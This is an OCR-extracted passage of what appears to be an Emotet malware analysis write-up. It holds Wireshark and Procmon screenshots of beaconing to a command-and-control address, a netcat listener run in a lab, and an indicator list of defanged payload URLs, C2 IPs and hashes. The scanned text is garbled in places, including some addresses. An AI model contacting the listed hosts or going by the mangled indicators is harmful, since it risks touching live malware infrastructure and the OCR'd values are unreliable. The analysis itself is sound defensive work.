X 39 08 59 B 42 00 69 08 4F @8 4C B8 6C 80 34 00 sl
x 0 45 00 38 6@ 3D @0 @D 0 BA @0 @0 0O 00 60 00 00 st )
X 0 ©0 62 00 60 00 00 00 6O 0O 00 0O 60 00 90 08 00

[UNKNOWN 0308F355: X.A11:0308F355 (Synchronized with EIP) v |[vwEsow 03163240: aebugzze:031€3z4a (Synchronized with EDI) v - Stack[00001D301:00SEFSD (Synchronized with ESE) v

< > |« > < >

*ens33

Wireshark - Packet 8 - ens33

Frame 8: 180 bytes on wire (1440 bits), 180 bytes captured (1440 bits) on interface ens33, id ©
Ethernet II, Src: VMware 7a:f8:90 (0@:0c:29:7a:f8:90), Dst: WMware c9:e3:74 (00:8c:29:c9:e3:74)
Internet Protocol Version 4, Src: 192.168.40.128, Dst: 192.168.40.129
e Transmission Control Protocol, Src Port: 58302, Dst Port: 8080, Seq: 1, Ack: 1, Len: 126
'138174l Hypertext Transfer Protocol
138839¢ ~ CONNECT 81.0.236.93:443 HTTP/1.8\r\n
» [Expert Info (Chat/Sequence): CONNECT 81.0.236.93:443 HTTP/1.0\r\n]

Request Method: CONNECT

]

Request URI: 81.0.236.93:443 M remnux@i
Request Version: HTTP/1.0
Host: 81.0.236.93:443\r\n e e ~$ nc -nvlp 868
» Content-Length: @\r\n i 0.0.0.0 8080
Proxy-Connection: Keep-Alive\r\n 0 io ived on 192.168.40.128 58302
Pragma: no-cache\r\n
Ar\n

[Full request URI: 81.0.236.93:443]
[HTTP request 1/1]

08 Bc 29 c9 e3 74 00 8c 29 7a T8 90 @8 PO 45 6O )t )z E
0818 @0 a6 4b 57 40 86 80 m dc a8 cB a8 28 80 cO® a8 KW@ I (

28 81 e3 be 1f 90 ee el b2 fa 99 fd 17 9c 50 18 ( P

04 B0 37 97 80 00 43 4f 4e 4e 45 43 54 20 38 31 7 CO NNECT 81

2e 30 2e 32 33 36 2e 39 33 3a 34 34 33 20 48 54 .0.236.9 3:443 HT
54 50 2f 31 2e 30 0d @a 48 6T 73 74 3a 20 38 31 TP/1.0 Host: 81
2e 30 2e 32 33 36 2e 39 33 3a 34 34 33 0d Pa 43 .0.236.9 3:443 - -C
6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 ontent-L ength: @

od Pa 50 72 6f 78 79 2d 43 6T 6e 6e 65 63 74 69 Proxy- Connecti
Protoci 6f 6e 3a 20 4b 65 65 70 2d 41 6¢c 69 76 65 @d @a on: Keep -Alive
sion Col 50 72 61 67 6d 61 3a 2@ 6e 6T 2d 63 61 63 68 65 Pragma: no-cache
Port: 0d Pa @d fa
ation P
m index
rsation

anmant
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| undll32 exe 5692
| Jundll32 exe 56592
| undll32 exe 5692
| Jundll32 exe 56592
| undll32 exe 5692
| Jundll32 exe 5652
| undll32.exe 5692
| undll32 exe 5692
| undll32.exe 5692
| undll32 exe 5692
| undll32 exe 5692
| undll32 exe 5692
| undll32 exe 5692
| undll32 exe 5692
| Jundll32 exe 56592
| undll32 exe 5692
| Jundll32 exe 56592
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1

CYTCP Reconnect DESKTOP-002IHON localdomain:58765 -» 192.168.40.125:8080 SUCCESS Length: 0, segnum:...
LI TCP Reconnect DESKTOP-002IHON localdomain:58765 -» 152.168 40.125:8080 SUCCESS Length: 0. seqnum:...
CITCP Reconnect DESKTOP-002IHON localdomain:58765 -» 1592.168.40.125:8080 SUCCESS Length: 0, sagrum:...
LI TCP Disconnect DESKTOP-002IHON localdomain:58765 -» 152.168 40.125:8080 SUCCESS Length: 0. seqnum:...
CITCP Reconnect DESKTOP-002IHON localdomain:58766 -» 192.168.40.125:8080 SUCCESS Length: 0, sagrum:...
LI TCP Reconnect DESKTOP-002IHON localdomain:58766 -> 152,168 40.125:8080 SUCCESS Length: 0. seqnum:...
CITCP Reconnect DESKTOP-002IHON localdomain: 58766 -» 192.168.40.129:8080 SUCCESS Length: 0, segnum:...
L' TCP Reconnect DESKTOP-002IHOM localdomain:58766 -> 192.168.40.125:3080 SUCCESS Length: 0. segnum:...
CITCP Disconnect DESKTOP-002IHON localdomain: 58766 -» 192.168.40.129:8080 SUCCESS Length: 0, segnum:...
LJTCP Reconnect DESKTOP-002IHON localdomain:58767 - 192.168.40.125:8080 SUCCESS Length: 0, segnum:...
LI TCP Reconnect DESKTOP-002IHON localdomain:58767 -» 152.168 40.125:8080 SUCCESS Length: 0. seqnum:...
CYTCP Reconnect DESKTOP-002IHON localdomain:58767 -» 192.168.40.125:8080 SUCCESS Length: 0, segnum:...
LI TCP Reconnect DESKTOP-002IHON localdomain:58767 -» 152.168 40.125:8080 SUCCESS Length: 0. seqnum:...
CITCP Disconnect DESKTOP-002IHON localdomain:58767 -» 192.168.40.125:8080 SUCCESS Length: 0, segnum:...
LI TCP Reconnect DESKTOP-002IHON localdomain:58768 -» 152.168 40.125:8080 SUCCESS Length: 0. seqnum:...
CITCP Reconnect DESKTOP-002IHON localdomain:58768 -» 192.168.40.125:8080 SUCCESS Length: 0, sagrum:...
LI TCP Reconnect DESKTOP-002IHON localdomain:58768 -» 152.168 40.125:8080 SUCCESS Length: 0. seqnum:...
CITCP Reconnect DESKTOP-002IHON localdomain:58768 -» 192.168.40.125:8080 SUCCESS Length: 0, sagrum:...
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rundll32.exe 5692
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Elaf 1117 rundll32 exe 5692 ' TCP Disconnect DESKTOP-002IHOM localdomain:58768 -> 152168 40.125:8080 SUCCESS Length: 0. seqnum:...
7. rundll32.exe 5692 PTCP Reconnect DESKTOP-D02IHON localdomain: 58769 -» 1592.168.40.129:8080 SUCCESS Length: 0, segnum:...

rundll32 exe 5692 ' TCP Reconnect DESKTOP-002IHOM localdomain:58769 -» 192.168.40.125:3080 SUCCESS Length: 0. segnum:...

- 7 rundll32.exe 5692 PTCP Reconnect DESKTOP-D02IHON localdomain: 58769 -» 1592.168.40.129:8080 SUCCESS Length: 0, segnum:...
7 rundl32 exe 5692 & TCP Reconnect DESKTOP-002IHON localdomain: 58769 -» 192.168.40.125:8080 SUCCESS Length: 0, segnum:...

7 rundll32 exe 5692 P TCP Disconnect DESKTOP-002IHON localdomain:58765 -» 152.168 40.125:8080 SUCCESS Length: 0. seqnum:...

7 rundl32 exe 5692 P TCP Reconnect DESKTOP-002IHON localdomain:58770 -» 192.168.40.125:8080 SUCCESS Length: 0, segnum:...

7 rundll32 exe 5692 P TCP Reconnect DESKTOP-002IHON localdomain:58770 -» 152.168 40.125:8080 SUCCESS Length: 0. seqnum:...

7 rundl32 exe 5692 P TCP Reconnect DESKTOP-002IHON localdomain:58770 -» 192.168.40.125:8080 SUCCESS Length: 0, segnum:...

- 7 rundll32 exe 5692 ' TCP Reconnect DESKTOP-002IHON localdomain:58770 -» 152.168 40.125:8080 SUCCESS Length: 0. seqnum:...
7 rundll32 exe 5692 P TCP Disconnect DESKTOP-002IHON localdomain:58770 -» 192.168.40.125:8080 SUCCESS Length: 0, sagrum:...

7 rundll32 exe 5692 ' TCP Reconnect DESKTOP-002IHON localdomain:58771 -» 152.168 40.125:8080 SUCCESS Length: 0. seqnum:...

7 rundll32 exe 5692 LJTCP Reconnect DESKTOP-002IHON localdomain:58771 -» 192.168.40.125:8080 SUCCESS Length: 0, sagrum:...

— 17 rundll32 exe 5692 P TCP Reconnect DESKTOP-002IHON localdomain:58771 -» 152.168 40.125:8080 SUCCESS Length: 0. seqnum:...
7. rundll32.exe 5692 PTCP Reconnect DESKTOP-002IHON localdomain: 58771 -» 192.168.40.129:8080 SUCCESS Length: 0, segnum:...

I RRFF rundll32 exe 5692 ' TCP Disconnect DESKTOP-D02IHOM localdomain:58771 -» 192,168 .40.129:3080 SUCCESS Length: 0, segrum:...

Showing 214 of 184,354 events (0.11%5) Backed by virtual memory
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The malware will be stuck in the loop here until a reponse is received from c2 server. After getting the response, it
can further download additional malware or modules into itslef like outlook credential stealer module, spam
module, browser stealer module or lateral movement. Each module is a separate obfuscated dll that is downloaded

into the home directory and perform additional malicious tasks.

IoCs

Urls

» hxxp://erkaradyator.com.tr/Areas/1Dg2PeStqNIOjuPP3fu/

e hxxps://sachininternational.com/wp-admin/ILVDnlmIATb8/

o hxxps://esentai-gourmet.kz/404/50e050kBsHedqng/

e hxxp://ardena.pro/dqvoakrc/Hh9/

e hxxp://panel.chatzy.in/k7dagA XFTBus7mkuwwC/UQ9Y8RRqoOQY/
e hxxp://toiaagrosciences1.hospedagemdesites.ws/grupotoia/CPKU5ZE/
e hxxps://suppliercity.com.mx/wp-content/xOu6wST03y6X49MOq/

IPs

e 81.0.236[.]93:443

e 94.177.248[.164:443

* 66.42.55[.]5:7080

e 103.8.26[.]103:8080

e 185.184.25[.]237:8080
e 45.76.176[.]10:8080
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e 188.93.125[.]1116:8080
e 103.8.26[.]102:8080

e 178.79.147[.]66:8080
e 58.227.42[.]236:80

e 45.118.135[.]203:7080
e 103.75.201[.]2:443

e 195.154.133[.]20:443
e 45.142.114[.]231:8080
e 212.237.5[.]1209:443

e 207.38.84[.]195:8080
e 104.251.214[.]46:8080
e 138.185.72[.]26:8080
e 51.68.175[.]18:8080

e 210.57.217[.]1132:8080

Hashes

e 31fb4bf411dcd7fcb860bdb1db26859290b047b39b94638a7d4fd2a46d323e98
e (7574aac7583a5bdc446f813b8e347a768a9f4af858404371eae82ad2d136a01
e 5adc217c3f1fa072c40ae7ebb5f3735399e0cdd6e1add360690fb8f8fed75ceb

NOTE: All samples, scripts and tools are available in my Github Repository.

Source: https://shaddy43.github.io/MalwareAnalysisSeries/Emotet/
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